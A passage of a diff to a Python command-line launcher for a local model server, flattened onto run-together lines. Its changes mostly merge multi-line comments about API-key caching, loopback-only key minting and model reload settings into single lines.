llama-server versions read this documented env equivalent of --reasoning. Older managed versions ignore an unknown env variable instead of failing startup on an unknown passthrough CLI flag. An omitted start option follows the model template.child_env["LLAMA_ARG_REASONING"] = server.reasoning or "auto"- # Always written, like the line above: an inherited value would otherwise pin- # a level the omitted flag promises to leave alone. 'default' is llama.cpp's- # own sentinel for "keep the chat template's level".+ # Always written, like the line above: an inherited value would otherwise pin a level the omitted flag promises to leave alone. 'default' is llama.cpp's own sentinel for "keep the chat template's level".child_env["LLAMA_ARG_REASONING_EFFORT"] = server.reasoning_effort or "default"- # Pass the marker via env so an older launcher ignores it instead of treating an- # unknown CLI flag as a llama-server arg; new launchers preserve it across re-exec.+ # Pass the marker via env so an older launcher ignores it instead of treating an unknown CLI flag as a llama-server arg; new launchers preserve it across re-exec.child_env[_START_API_KEY_MARKER_ENV] = "1"- # Convey healing/nudging through the env; `unsloth run` reads these when its own- # flags are omitted, so this works even if run re-execs into an older Unsloth venv.- # Only write when the operator set the flag explicitly; otherwise keep whatever they- # already exported (child_env is a copy of os.environ), falling back to the start- # defaults (healing on, nudging on) when nothing was inherited.+ # Convey healing/nudging through the env; `unsloth run` reads these when its own flags are omitted, so this works even if run re-execs into an older Unsloth venv. Only write when the operator set the flag explicitly; otherwise keep whatever they already exported (child_env is a copy of os.environ), falling back to the start defaults (healing on, nudging on) when nothing was inherited.if server.tool_call_healing is not None:child_env["UNSLOTH_DISABLE_TOOL_CALL_HEALING"] = "0" if server.tool_call_healing else "1"elif "UNSLOTH_DISABLE_TOOL_CALL_HEALING" not in child_env:@@ -1324,8 +1211,7 @@ def _start_studio_server(child_env["UNSLOTH_TOOL_CALL_NUDGE"] = "1" if server.tool_call_nudging else "0"elif "UNSLOTH_TOOL_CALL_NUDGE" not in child_env:child_env["UNSLOTH_TOOL_CALL_NUDGE"] = "1"- # Forward any sampling pin via the env; `unsloth run` reads UNSLOTH_SAMPLING_* and the- # backend resolver applies it as a hard override. Only set fields the operator specified.+ # Forward any sampling pin via the env; `unsloth run` reads UNSLOTH_SAMPLING_* and the backend resolver applies it as a hard override. Only set fields the operator specified.for _sampling_env, _sampling_value in (("UNSLOTH_SAMPLING_TEMPERATURE", server.temperature),("UNSLOTH_SAMPLING_TOP_P", server.top_p),@@ -1411,11 +1297,7 @@ def _start_studio_server(def _effective_base(base: str) -> str:- # `unsloth run` binds to `parsed.port or 8888` and serves at the root, so normalize- # UNSLOTH_STUDIO_URL to plain scheme://host:port. A portless http://127.0.0.1 would- # otherwise launch on 8888 but poll port 80, and a path like /studio would poll- # /studio/api/health (404) -- either way hitting the startup timeout. IPv6 literals- # stay bracketed.+ # `unsloth run` binds to `parsed.port or 8888` and serves at the root, so normalize UNSLOTH_STUDIO_URL to plain scheme://host:port. A portless http://127.0.0.1 would otherwise launch on 8888 but poll port 80, and a path like /studio would poll /studio/api/health (404), either way hitting the startup timeout. IPv6 literals stay bracketed.parsed = urlparse(base)host = parsed.hostname or "127.0.0.1"if ":" in host: # bare IPv6 literal (urlparse strips the brackets)@@ -1434,10 +1316,7 @@ def _require_studio("""Return (base, server). server is a Popen only when WE auto-started it."""base = find_studio_server()if base is not None:- # Attaching to a server someone else started: UNSLOTH_SAMPLING_* pins only reach the- # server process when WE launch it (via _start_studio_server), so a sampling flag on the- # attach path can't take effect. Warn instead of silently dropping it, so the operator is- # not misled into thinking generation now uses the pinned value.+ # Attaching to a server someone else started: UNSLOTH_SAMPLING_* pins only reach the server process when WE launch it, so a sampling flag on the attach path cannot take effect. Warn instead of silently dropping it._pinned = [_flagfor _flag, _value in (@@ -1476,10 +1355,7 @@ def _require_studio()return base, Noneexpected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888").rstrip("/")- # Auto-start a local server only for an interactive launch with a model to serve, and- # only for a plain-HTTP loopback target: never stand in for an explicit remote- # UNSLOTH_STUDIO_URL, and never for an https:// one -- `unsloth run` serves plain- # HTTP, so the health poll against https would spin until the startup timeout.+ # Auto-start a local server only for an interactive launch with a model to serve, and only for a plain-HTTP loopback target: never stand in for an explicit remote UNSLOTH_STUDIO_URL, and never for an https:// one, since `unsloth run` serves plain HTTP and the health poll against https would spin until the startup timeout.if (serveand launch@@ -1487,13 +1363,10 @@ def _require_studio(and is_loopback_url(expected)and urlparse(expected).scheme == "http"):- # Normalize to the port unsloth run actually binds, so the health poll and the- # returned base hit the same server we launch (not a portless :80).+ # Normalize to the port unsloth run actually binds, so the health poll and the returned base hit the same server we launch, not a portless :80.expected = _effective_base(expected)load = load or LoadOptions()- # Leave a bare GGUF repo's variant unset: the server's own quant preference already- # picks the best available (UD-Q4_K_XL for Unsloth uploads, else Q4_K_M) and falls back- # when that exact quant is missing, which forcing a fixed variant here would break.+ # Leave a bare GGUF repo's variant unset: the server's own quant preference already picks the best available (UD-Q4_K_XL for Unsloth uploads, else Q4_K_M) and falls back when that exact quant is missing, which forcing a fixed variant here would break.return expected, _start_studio_server(expected, model, load, server_options)model_hint = "" if model else " Pass --model to have it start one for you, or"_fail(@@ -1520,8 +1393,7 @@ def _read_cache(cache: Path) -> dict:def _server_buckets(servers: dict, base: str) -> dict:- # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a- # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake).+ # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a corrupt or legacy value (a bare string or list is treated as minted, behind the handshake).entry = servers.get(base) if isinstance(servers, dict) else Noneif isinstance(entry, list):return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]}@@ -1536,15 +1408,12 @@ def _server_buckets(servers: dict, base: str) -> dict:def _cached_keys(cache: Path, base: str, source: str) -> list:- # Keys are scoped per server. `source` splits user-supplied --api-key keys- # ("saved", trusted for that base) from auto-minted ones ("minted", replayed- # only after the identity check). Legacy unscoped caches are ignored.+ # Keys are scoped per server. `source` splits user-supplied --api-key keys ("saved", trusted for that base) from auto-minted ones ("minted", replayed only after the identity check). Legacy unscoped caches are ignored.return _server_buckets(_read_cache(cache).get("servers", {}), base)[source]def _write_private_json(path: Path, data: dict) -> None:- # O_CREAT with 0o600 so a file holding an API key is never world-readable,- # even briefly (existing files keep whatever perms the user set).+ # O_CREAT with 0o600 so a file holding an API key is never world-readable, even briefly (existing files keep whatever perms the user set).path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)with os.fdopen(fd, "w") as handle:@@ -1573,8 +1442,7 @@ def _read_yaml_object(path: Path) -> Optional[dict]:def _read_json_object(path: Path) -> Optional[dict]:- # {} when missing, None when it can't be parsed as an object (so the caller- # leaves a user-managed file untouched rather than clobbering it).+ # {} when missing, None when it cannot be parsed as an object, so the caller leaves a user-managed file untouched rather than clobbering it.if not path.exists():return {}try:@@ -1614,10 +1482,7 @@ def _remember_key(cache: Path, base: str, key: str, source: str) -> None:def _key_accepted(base: str, key: str) -> bool:- # Only a genuine auth rejection (401/403) means "this key is bad -- skip it and try- # the next cached key or mint a fresh one". A 5xx or a network blip is a server-side- # outage, not a bad key: fail with a clean message (never a traceback) instead of- # silently discarding a working key and minting extras against a struggling server.+ # Only a genuine auth rejection (401/403) means "this key is bad, skip it and try the next cached key or mint a fresh one". A 5xx or a network blip is a server-side outage, not a bad key: fail with a clean message instead of silently discarding a working key and minting extras against a struggling server.try:_http_json("GET", f"{base}/v1/models", key)return True@@ -1646,23 +1511,15 @@ def _agent_api_key(if not auto_started or _key_accepted(base, explicit):_remember_key(cache, base, explicit, "saved")return explicit- # The server was auto-started for this run, so an exported- # UNSLOTH_API_KEY meant for some other server must not fail the- # launch: the loopback mint path below is guaranteed to work.- # (An explicit key that the fresh server accepts, e.g. one persisted- # in this Unsloth home's auth db, is still honored above.)-- # Replay a key the user saved for *this exact* server first (scoped per base,- # so it only goes back there -- including a remote/SSH-tunnelled Unsloth whose- # secret the local handshake can't match). Skip ones the server rejects.+ # The server was auto-started for this run, so an exported UNSLOTH_API_KEY meant for some other server must not fail the launch: the loopback mint path below is guaranteed to work. An explicit key the fresh server accepts is still honored above.++ # Replay a key the user saved for THIS EXACT server first (scoped per base, so it only goes back there, including a remote or SSH-tunnelled Unsloth whose secret the local handshake cannot match). Skip ones the server rejects.for key in _cached_keys(cache, base, "saved"):if _key_accepted(base, key):_remember_key(cache, base, key, "saved")return key- # Beyond here we auto-mint or replay an auto-minted key. find_studio_server()- # trusts a base after only a health check, so both are limited to a loopback- # server we can cryptographically confirm is ours.+ # Beyond here we auto-mint or replay an auto-minted key. find_studio_server() trusts a base after only a health check, so both are limited to a loopback server we can cryptographically confirm is ours.if not is_loopback_url(base):_fail(f"No saved API key for {base} and automatic minting only runs against "@@ -1728,12 +1585,7 @@ def _is_hub_model_id(value: object) -> bool:return Falseif len(text) >= 2 and text[1] == ":" and text[0].isalpha():return False- # A hub id is exactly "namespace/name" over a restricted charset. Anything with- # extra path segments (e.g. a server-side relative path such as- # models/Llama/Foo.gguf on a remote Unsloth) is not a hub id and must not be- # casefold-matched against a differently cased path on a case-sensitive- # filesystem. This is host independent, unlike the existence probe below which- # cannot see a path that only exists on the server.+ # A hub id is exactly "namespace/name" over a restricted charset. Anything with extra path segments (a server-side relative path such as models/Llama/Foo.gguf on a remote Unsloth) is not a hub id and must not be casefold-matched against a differently cased path on a case-sensitive filesystem. This is host independent, unlike the existence probe below which cannot see a path that only exists on the server.parts = text.split("/")if len(parts) != 2:return False@@ -1748,12 +1600,7 @@ def _is_hub_model_id(value: object) -> bool:def _is_model_path(value: str) -> bool:- """Mirrors core.inference.model_ids._looks_like_path: a repo id is exactly- ``org/model``; anything else with a separator, drive, prefix or .gguf is a path.-- Deliberately not named _looks_like_path: that name is taken further down by the- WSLENV classifier, which only matches absolute paths and would shadow this one.- """+ """Mirrors core.inference.model_ids._looks_like_path: a repo id is exactly ``org/model``, and anything else with a separator, drive, prefix or .gguf is a path. Deliberately not named _looks_like_path: that name is taken further down by the WSLENV classifier, which only matches absolute paths and would shadow this one."""if value.lower().endswith(".gguf"):return Trueif value.startswith(("/", "\\", "./", "../", ".\\", "..\\", "~")):@@ -1764,12 +1611,7 @@ def _is_model_path(value: str) -> bool:def _public_model_id(value: Optional[str]) -> Optional[str]:- """The id Unsloth advertises for a model loaded by path.-- /v1/models never echoes a host path: it reports the file or directory name- with any .gguf suffix stripped (core.inference.model_ids.public_model_id), so- a path we asked to load has to be matched by that name too.- """+ """The id Unsloth advertises for a model loaded by path. /v1/models never echoes a host path: it reports the file or directory name with any .gguf suffix stripped (core.inference.model_ids.public_model_id), so a path we asked to load has to be matched by that name too."""if not value or not _is_model_path(value):return Nonename = os.path.basename(value.replace("\\", "/").rstrip("/"))@@ -1786,12 +1628,7 @@ def _model_id_matches() -> bool:if actual == requested:return True- # Case-insensitive matching is only safe when the local existence probe in- # _is_hub_model_id is authoritative, i.e. against a loopback Unsloth on this host.- # Against a remote Unsloth a two-segment string is indistinguishable from a- # server-side relative path (e.g. Models/Foo vs models/foo), so casefolding it- # could attach to the wrong model on a case-sensitive server; defer to an exact- # match there and let the load endpoint resolve the requested path.+ # Case-insensitive matching is only safe when the local existence probe in _is_hub_model_id is authoritative, i.e. against a loopback Unsloth on this host. Against a remote Unsloth a two-segment string is indistinguishable from a server-side relative path (Models/Foo vs models/foo), so casefolding it could attach to the wrong model on a case-sensitive server; defer to an exact match there and let the load endpoint resolve the requested path.if not allow_casefold:return Falseif not (_is_hub_model_id(actual) and _is_hub_model_id(requested)):@@ -1800,8 +1637,7 @@ def _model_id_matches(def _inference_status(base: str, key: str) -> dict:- """Runtime state of the resident model. {} means "cannot prove anything" (older- server), never "nothing is set"."""+ """Runtime state of the resident model. {} means "cannot prove anything" (older server), never "nothing is set"."""try:return _http_json("GET", f"{base}/api/inference/status", key)except Exception:@@ -1809,15 +1645,9 @@ def _inference_status(base: str, key: str) -> dict:def _resident_load_target(models: list, status: dict, allow_casefold: bool):- """(identifier to post, id it is advertised as) for the running model.-- /v1/models shows only the sanitized basename while _same_loaded_identifier compares- resident paths exactly, so the load must carry the identifier status reports.- """+ """(identifier to post, id it is advertised as) for the running model. /v1/models shows only the sanitized basename while _same_loaded_identifier compares resident paths exactly, so the load must carry the identifier status reports."""if status.get("is_diffusion"):- # An image runtime answers with an active_model like any other, but it cannot- # serve chat: targeting it would tear down the diffusion server and then point- # the agent at a model that can never answer it.+ # An image runtime answers with an active_model like any other, but it cannot serve chat: targeting it would tear down the diffusion server and then point the agent at a model that can never answer it._fail("Unsloth is serving an image model, which cannot serve chat, so there are no ""settings to apply. Re-run with --model naming the chat model to load."@@ -1835,10 +1665,7 @@ def _resident_load_target(models: list, status: dict, allow_casefold: bool):None,)if entry is None and not status:- # Only when there is no status at all (older server). A status that ANSWERED with- # active_model null is stating there is no chat resident.- # Catalog ORDER is not evidence either: /v1/models lists loaded speech sidecars- # too, so the first entry can be one. Answer only when the catalog is unambiguous.+ # Only when there is no status at all (older server). A status that ANSWERED with active_model null is stating there is no chat resident. Catalog ORDER is not evidence either: /v1/models lists loaded speech sidecars too, so the first entry can be one. Answer only when the catalog is unambiguous.loaded = [m for m in models if m.get("loaded") is not False]if len(loaded) == 1:entry = loaded[0]@@ -1850,8 +1677,7 @@ def _resident_load_target(models: list, status: dict, allow_casefold: bool):public_id = active_id or (entry or {}).get("id")if not public_id:if status:- # Status answered and named no chat model. Returning empty here would drop- # the knobs silently, which is the bug this path exists to fix.+ # Status answered and named no chat model. Returning empty here would drop the knobs silently, which is the bug this path exists to fix._fail("No chat model is currently loaded, so there are no settings to apply. ""Re-run with --model naming the model to load."@@ -1860,8 +1686,7 @@ def _resident_load_target(models: list, status: dict, allow_casefold: bool):identifier = status.get("model_identifier")if identifier:return identifier, public_id- # A native path lease redacts the internal path; inventing one from the basename- # would address the wrong file, so only a hub id can be posted back.+ # A native path lease redacts the internal path; inventing one from the basename would address the wrong file, so only a hub id can be posted back.if _is_hub_model_id(public_id):return public_id, public_id_fail(@@ -1870,9 +1695,7 @@ def _resident_load_target(models: list, status: dict, allow_casefold: bool):)-# /api/inference/status field -> the /api/inference/load field that reproduces it. The-# "requested_" values are what the load was INVOKED with, which is what has to be resent;-# the bare names are the resolved ones and would pin a value the user never chose.+# /api/inference/status field to the /api/inference/load field that reproduces it. The "requested_" values are what the load was INVOKED with, which is what has to be resent; the bare names are the resolved ones and would pin a value the user never chose._RESIDENT_RUNTIME_FIELDS = {"cache_type_kv": "cache_type_kv","chat_template_override": "chat_template_override",@@ -1886,11 +1709,9 @@ _RESIDENT_RUNTIME_FIELDS = {"spec_draft_n_max": "spec_draft_n_max",# The applied value is null when the runtime refused the request."mlx_kv_bits_requested": "mlx_kv_bits",- # LoadRequest defaults this to True, so omitting it would reload a full-precision- # model in 4-bit. Null on GGUF, which has no such setting.+ # LoadRequest defaults this to True, so omitting it would reload a full-precision model in 4-bit. Null on GGUF, which has no such setting."load_in_4bit": "load_in_4bit",- # Same trap: max_seq_length defaults to 0, which _gguf_request_intent copies into- # n_ctx, so changing another knob would reset a custom context to automatic.+ # Same trap: max_seq_length defaults to 0, which _gguf_request_intent copies into n_ctx, so changing another knob would reset a custom context to automatic."requested_context_length": "max_seq_length","requested_gpu_ids": "gpu_ids","requested_parallel_slots": "n_parallel",@@ -1905,12 +1726,7 @@ _RESIDENT_RUNTIME_FIELDS = {def _resident_runtime_payload(status: dict, payload: dict) -> dict:- """The resident's own settings for knobs this load did not name.-- None means "never set" for every one of these, so it is dropped rather than sent:- omitting a field is what lets the server inherit, while sending null would pin the- absence. An explicit empty list is kept, since that is a real "launch with none".- """+ """The resident's own settings for knobs this load did not name. None means "never set" for every one of these, so it is dropped rather than sent: omitting a field is what lets the server inherit, while sending null would pin the absence. An explicit empty list is kept, since that is a real "launch with none"."""if not status:return {}carried = {}@@ -1925,14 +1741,10 @@ def _resident_runtime_payload(status: dict, payload: dict) -> dict:def _load_settings_differ(status: dict, load: LoadOptions, overrides: frozenset) -> bool:- """Whether applying these settings can restart the resident. Unproven equality- counts as a difference: a silent restart is worse than a spurious warning."""+ """Whether applying these settings can restart the resident. Unproven equality counts as a difference: a silent restart is worse than a spurious warning."""if not status:return True- # _runtime_matches_intent rejects an identical intent while a spec probe, a DFlash- # drafter or a changed speculative binary is waiting to be retried, so the server- # reloads regardless of what the CLI asked for. Equality of the overrides is then no- # proof of a no-op, and claiming one would skip the gate and the warning.+ # _runtime_matches_intent rejects an identical intent while a spec probe, a DFlash drafter or a changed speculative binary is waiting to be retried, so the server reloads regardless of what the CLI asked for. Equality of the overrides is then no proof of a no-op, and claiming one would skip the gate and the warning.if any(status.get(field)for field in (@@ -1945,9 +1757,7 @@ def _load_settings_differ(status: dict, load: LoadOptions, overrides: frozenset)for name in overrides:if name == "gguf_variant":resident = status.get("gguf_variant") if status.get("is_gguf") else None- # Casefold, not _normalized_variant, which strips separators: a mistyped Q4KM- # would read as equal here yet still really reload on the server. The preload- # gate below already compares this way, and the two have to agree.+ # Casefold, not _normalized_variant, which strips separators: a mistyped Q4KM would read as equal here yet still really reload on the server. The preload gate below already compares this way, and the two have to agree.if (not residentor str(resident).strip().lower() != str(load.gguf_variant).strip().lower()@@ -1959,24 +1769,17 @@ def _load_settings_differ(status: dict, load: LoadOptions, overrides: frozenset)if resident is None or int(resident) != int(load.max_seq_length):return Trueelif name == "load_in_4bit":- # GGUF has no 4-bit setting and reports null, which would read as "differs"- # and warn about an unload the server is not going to perform.+ # GGUF has no 4-bit setting and reports null, which would read as "differs" and warn about an unload the server is not going to perform.if status.get("is_gguf"):continueresident = status.get("load_in_4bit")if resident is None or bool(resident) != bool(load.load_in_4bit):return Trueelif name == "tensor_parallel":- # llama.cpp only. The standard load never forwards it, so a restart would- # apply nothing.+ # llama.cpp only. The standard load never forwards it, so a restart would apply nothing.if not status.get("is_gguf"):continue- # The architecture gate can normalize a tensor request to layer mode and say- # so. Asking for it AGAIN is the request already applied, not a difference,- # and the backend dedupes exactly this state. Asking to turn it OFF is the- # opposite: the backend keeps the tensor intent behind that fallback and does- # not read a bare false as an explicit drop (the UI sends false routinely), so- # only a real reload can clear it.+ # The architecture gate can normalize a tensor request to layer mode and say so, so asking for it AGAIN is the request already applied, not a difference, and the backend dedupes exactly this state. Asking to turn it OFF is the opposite: the backend keeps the tensor intent behind that fallback and does not read a bare false as an explicit drop (the UI sends false routinely), so only a real reload can clear it.if status.get("tensor_parallel_dropped_by_arch_gate"):if load.tensor_parallel:continue@@ -1986,17 +1789,12 @@ def _load_settings_differ(status: dict, load: LoadOptions, overrides: frozenset)elif name == "gpu_memory_mode":if not status.get("is_gguf"):continue- # A paravirtual host pins every placement request to the same runtime, and a- # CPU fallback is preserved across reloads by _preserve_cpu_fallback_intent, so- # in both cases the raw mode cannot tell two requests apart. resident-config-- # match.ts skips placement on exactly these two for the same reason.+ # A paravirtual host pins every placement request to the same runtime, and a CPU fallback is preserved across reloads by _preserve_cpu_fallback_intent, so in both cases the raw mode cannot tell two requests apart. resident-config-match.ts skips placement on exactly these two for the same reason.if status.get("gpu_placement_paravirtual") or status.get("cpu_fallback_reason"):continueif status.get("gpu_memory_mode") != load.gpu_memory_mode:return True- # Manual to manual is a real no-op: the payload only sends the implicit- # gpu_layers = -1 when switching INTO manual, so a resident already pinned to- # a layer count keeps it through the round-trip and nothing changes.+ # Manual to manual is a real no-op: the payload only sends the implicit gpu_layers = -1 when switching INTO manual, so a resident already pinned to a layer count keeps it through the round-trip and nothing changes.return False@@ -2010,34 +1808,21 @@ def _resolve_model() -> dict:models = _loaded_models(base, key)load_requested = False- # Only casefold-match ids against a loopback Unsloth, where _is_hub_model_id's- # local existence probe can actually reject a server-side path; see the note there.+ # Only casefold-match ids against a loopback Unsloth, where _is_hub_model_id's local existence probe can actually reject a server-side path; see the note there.allow_casefold = is_loopback_url(base)- # /v1/models reports the model id but not the active GGUF variant or runtime load- # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the- # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to- # /api/inference/load: the server's already-loaded dedup answers "already_loaded"- # without reloading when the variant AND settings match, so a second session running- # the same command still attaches without evicting the first.+ # /v1/models reports the model id but not the active GGUF variant or runtime load settings, so an id match alone can hide the wrong quant (Q8_0 serving while the user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to /api/inference/load: the server's already-loaded dedup answers "already_loaded" without reloading when the variant AND settings match, so a second session running the same command still attaches without evicting the first.overrides = load.overrides()load_has_overrides = bool(overrides)- # Inferred-attach path only: `requested` becomes the resident's internal identifier- # (possibly a server path), so this is the id to show and to match on.+ # Inferred-attach path only: `requested` becomes the resident's internal identifier (possibly a server path), so this is the id to show and to match on.attach_public_id = Nonestatus_snapshot = None- # Whether the inferred settings can restart the resident. Computed once: the preload- # gate, the warning, the consent refusal and force_reload must all agree, and asking- # twice against a snapshot taken at different times is how they drift apart.+ # Whether the inferred settings can restart the resident. Computed once: the preload gate, the warning, the consent refusal and force_reload must all agree, and asking twice against a snapshot taken at different times is how they drift apart.inferred_differs = Falseif requested is None and load_has_overrides and infer_resident:status_snapshot = _inference_status(base, key)requested, attach_public_id = _resident_load_target(models, status_snapshot, allow_casefold)inferred_differs = _load_settings_differ(status_snapshot, load, overrides)- # preload_check deliberately survives: it is the only gate before the load evicts- # the shared model (_require_gguf_for_codex runs after _connect returns).- # /v1/models also lists cached-but-unloaded catalog entries (loaded == False);- # matching one would skip /api/inference/load and leave the agent pointed at a- # model that is not resident, so only attach to an entry that is actually loaded.+ # preload_check deliberately survives: it is the only gate before the load evicts the shared model (_require_gguf_for_codex runs after _connect returns). /v1/models also lists cached-but-unloaded catalog entries (loaded == False); matching one would skip /api/inference/load and leave the agent pointed at a model that is not resident, so only attach to an entry that is actually loaded.match = (Noneif requested and load_has_overrides@@ -2053,13 +1838,9 @@ def _resolve_model()if requested and match is None:load_requested = True- # Only here is an evicting load certain: the gate must not reject a request the- # resident model already satisfies (a path-loaded GGUF shown as a bare basename- # can collide with a non-GGUF unsloth/<name>).+ # Only here is an evicting load certain: the gate must not reject a request the resident model already satisfies (a path-loaded GGUF shown as a bare basename can collide with a non-GGUF unsloth/<name>).active = next((m for m in models if m.get("loaded") is not False), None)- # On the inferred path the target came from status, so catalog order can name a- # different entry (a speech sidecar listed first). Using it would make the- # survivor probe below report the wrong model as still serving.+ # On the inferred path the target came from status, so catalog order can name a different entry (a speech sidecar listed first). Using it would make the survivor probe below report the wrong model as still serving.if attach_public_id is not None:active = next((@@ -2073,13 +1854,9 @@ def _resolve_model(None,) or {"id": attach_public_id}if preload_check is not None:- # An explicit knob forces match to None so the server's disk-free dedupe can- # answer already_loaded; gating it would reject a second session for the model- # already serving, whose file may have moved. Only the quant is checked below:- # any other run knob changes the runtime intent, a real reload nothing dedupes.+ # An explicit knob forces match to None so the server's disk-free dedupe can answer already_loaded; gating it would reject a second session for the model already serving, whose file may have moved. Only the quant is checked below: any other run knob changes the runtime intent, a real reload nothing dedupes.other_overrides = bool(overrides - {"gguf_variant"})- # /v1/models shows a path-loaded GGUF under its basename, so match that spelling- # too, or a second session reruns the gate.+ # /v1/models shows a path-loaded GGUF under its basename, so match that spelling too, or a second session reruns the gate.wanted_ids = {requested, _public_model_id(requested)} - {None}resident_serves_request = not other_overrides and any(m.get("loaded") is not False@@ -2089,14 +1866,10 @@ def _resolve_model()for m in models)- # A proven no-op evicts nothing, so the gate has nothing to protect, and- # running it would reject an attach the disk-free already-loaded path can- # still serve (a direct .gguf the server has mapped but that has since moved).+ # A proven no-op evicts nothing, so the gate has nothing to protect, and running it would reject an attach the disk-free already-loaded path can still serve (a direct .gguf the server has mapped but that has since moved).if attach_public_id is not None and not inferred_differs:resident_serves_request = True- # /v1/models shows only the basename, so confirm a path request against the- # identifier the server loaded -- else /new/foo.gguf reads as resident because- # /old/foo.gguf is.+ # /v1/models shows only the basename, so confirm a path request against the identifier the server loaded, else /new/foo.gguf reads as resident because /old/foo.gguf is.if resident_serves_request and _is_model_path(requested):try:status = _http_json("GET", f"{base}/api/inference/status", key)@@ -2118,8 +1891,7 @@ def _resolve_model(except Exception:status = {}resident_variant = status.get("gguf_variant") if status.get("is_gguf") else None- # Casefold, not _normalized_variant (it strips separators): a mistyped Q4KM- # would skip the gate here yet still really reload on the server.+ # Casefold, not _normalized_variant, which strips separators: a mistyped Q4KM would skip the gate here yet still really reload on the server.resident_serves_request = (bool(resident_variant)and str(resident_variant).strip().lower()@@ -2130,8 +1902,7 @@ def _resolve_model(active_id = active.get("id") if active else Noneannounced_switch = Falseif attach_public_id is not None:- # An inferred attach never switches model, so the comparison below would- # misreport a switch and print the server's path.+ # An inferred attach never switches model, so the comparison below would misreport a switch and print the server's path.if inferred_differs:typer.echo(f"Applying new load settings to {attach_public_id}.")typer.echo("This unloads the current model for every attached session.")@@ -2145,8 +1916,7 @@ def _resolve_model(typer.echo("This unloads the current model for every attached session.")announced_switch = Trueelif active_id and load.gguf_variant:- # Same repo id but an explicit quant still replaces the resident- # weights; /v1/models has no variant, so ask the status endpoint.+ # Same repo id but an explicit quant still replaces the resident weights; /v1/models has no variant, so ask the status endpoint.try:status = _http_json("GET", f"{base}/api/inference/status", key)except Exception:@@ -2159,18 +1929,12 @@ def _resolve_model()typer.echo("This unloads the current model for every attached session.")announced_switch = True- # Mirror `unsloth run`'s load knobs; keep the default payload as just- # model_path so a bare `--model` load is unchanged. Membership decides, not- # truthiness: a reset like --context-length 0 equals the default yet must be sent.+ # Mirror `unsloth run`'s load knobs; keep the default payload as just model_path so a bare `--model` load is unchanged. Membership decides, not truthiness: a reset like --context-length 0 equals the default yet must be sent.payload = {"model_path": requested}if "gguf_variant" in overrides and load.gguf_variant:direct_file = attach_public_id is not None and str(requested).lower().endswith(".gguf")if direct_file:- # from_identifier consults a variant only for a DIRECTORY, so a DIFFERENT- # quant cannot be selected: posting one would reload the very same file and- # label it with a quant that does not describe its weights. Restating the- # one already running asks for no change, so drop the inapplicable field- # and let the other overrides through.+ # from_identifier consults a variant only for a DIRECTORY, so a DIFFERENT quant cannot be selected: posting one would reload the very same file and label it with a quant that does not describe its weights. Restating the one already running asks for no change, so drop the inapplicable field and let the other overrides through.resident_variant = status_snapshot.get("gguf_variant")same = (bool(resident_variant)@@ -2186,10 +1950,7 @@ def _resolve_model(else:payload["gguf_variant"] = load.gguf_variantelif attach_public_id is not None and status_snapshot.get("is_gguf"):- # Re-send the running quant: a repo id carries none, so from_identifier would- # auto-pick (_GGUF_QUANT_PREFERENCE, UD-Q4_K_XL first) and changing only the- # context would evict a chosen Q8_0 to download a different quant. Skip a- # .gguf path, which loads as itself -- the server gates on the same suffix.+ # Re-send the running quant: a repo id carries none, so from_identifier would auto-pick (_GGUF_QUANT_PREFERENCE, UD-Q4_K_XL first) and changing only the context would evict a chosen Q8_0 to download a different quant. Skip a .gguf path, which loads as itself; the server gates on the same suffix.resident_variant = status_snapshot.get("gguf_variant")if resident_variant and not str(requested).lower().endswith(".gguf"):payload["gguf_variant"] = resident_variant@@ -2201,9 +1962,7 @@ def _resolve_model(payload["tensor_parallel"] = load.tensor_parallelif "gpu_memory_mode" in overrides and load.gpu_memory_mode is not None:payload["gpu_memory_mode"] = load.gpu_memory_mode- # -1 means "pick the layers", which is right when the user is switching INTO- # manual, but on an inferred attach to a resident already in manual it would- # throw away the layer count it was pinned to. Leave it for the round-trip.+ # -1 means "pick the layers", which is right when the user is switching INTO manual, but on an inferred attach to a resident already in manual it would throw away the layer count it was pinned to. Leave it for the round-trip.already_manual = (attach_public_id is not None and status_snapshot.get("gpu_memory_mode") == "manual")@@ -2214,35 +1973,21 @@ def _resolve_model(and inferred_differsand status_snapshot.get("requires_trust_remote_code")):- # The reload cannot reproduce the consent: the payload has no- # trust_remote_code and no approval fingerprint, and the standard backend- # tears the worker down BEFORE the replacement is accepted, so a rejected- # custom-code load leaves nothing resident. Refuse while the model is still- # serving; naming it with --model goes through the normal consent path.+ # The reload cannot reproduce the consent: the payload has no trust_remote_code and no approval fingerprint, and the standard backend tears the worker down BEFORE the replacement is accepted, so a rejected custom-code load leaves nothing resident. Refuse while the model is still serving; naming it with --model goes through the normal consent path._fail(f"'{attach_public_id}' was loaded with trust_remote_code, which an attach ""cannot re-authorize. Re-run with --model naming it to apply these settings.")if attach_public_id is not None:- # An inferred reload is a full load, not a PATCH: _gguf_request_intent copies- # every defaulted LoadRequest field into the new intent, so a knob we leave out- # is reset rather than kept. Carry the resident's own values for the ones the- # user did not name, or changing the context alone would drop their KV dtype,- # slot count, batch sizes and GPU placement.+ # An inferred reload is a full load, not a PATCH: _gguf_request_intent copies every defaulted LoadRequest field into the new intent, so a knob we leave out is reset rather than kept. Carry the resident's own values for the ones the user did not name, or changing the context alone would drop their KV dtype, slot count, batch sizes and GPU placement.payload.update(_resident_runtime_payload(status_snapshot, payload))- # The server cannot tell an explicit `--context-length 0` reset from the 0 that- # every UI load sends, so it treats 0 as "no preference" and would answer- # already_loaded. Say outright that this one is a reload, but only when status- # PROVED a difference: on an older server _load_settings_differ cannot tell,- # and forcing there would evict on every attach.+ # The server cannot tell an explicit `--context-length 0` reset from the 0 that every UI load sends, so it treats 0 as "no preference" and would answer already_loaded. Say outright that this one is a reload, but only when status PROVED a difference: on an older server _load_settings_differ cannot tell, and forcing there would evict on every attach.if status_snapshot and inferred_differs:payload["force_reload"] = Truetry:loaded = _load_model_with_progress(base, key, requested, load, payload)except Exception:- # The warning above promised an unload; if the server refused the- # load before evicting anything, say so. Not BaseException: Ctrl+C- # must stay immediate, without a probe or a survivor claim.+ # The warning above promised an unload; if the server refused the load before evicting anything, say so. Not BaseException: Ctrl+C must stay immediate, without a probe or a 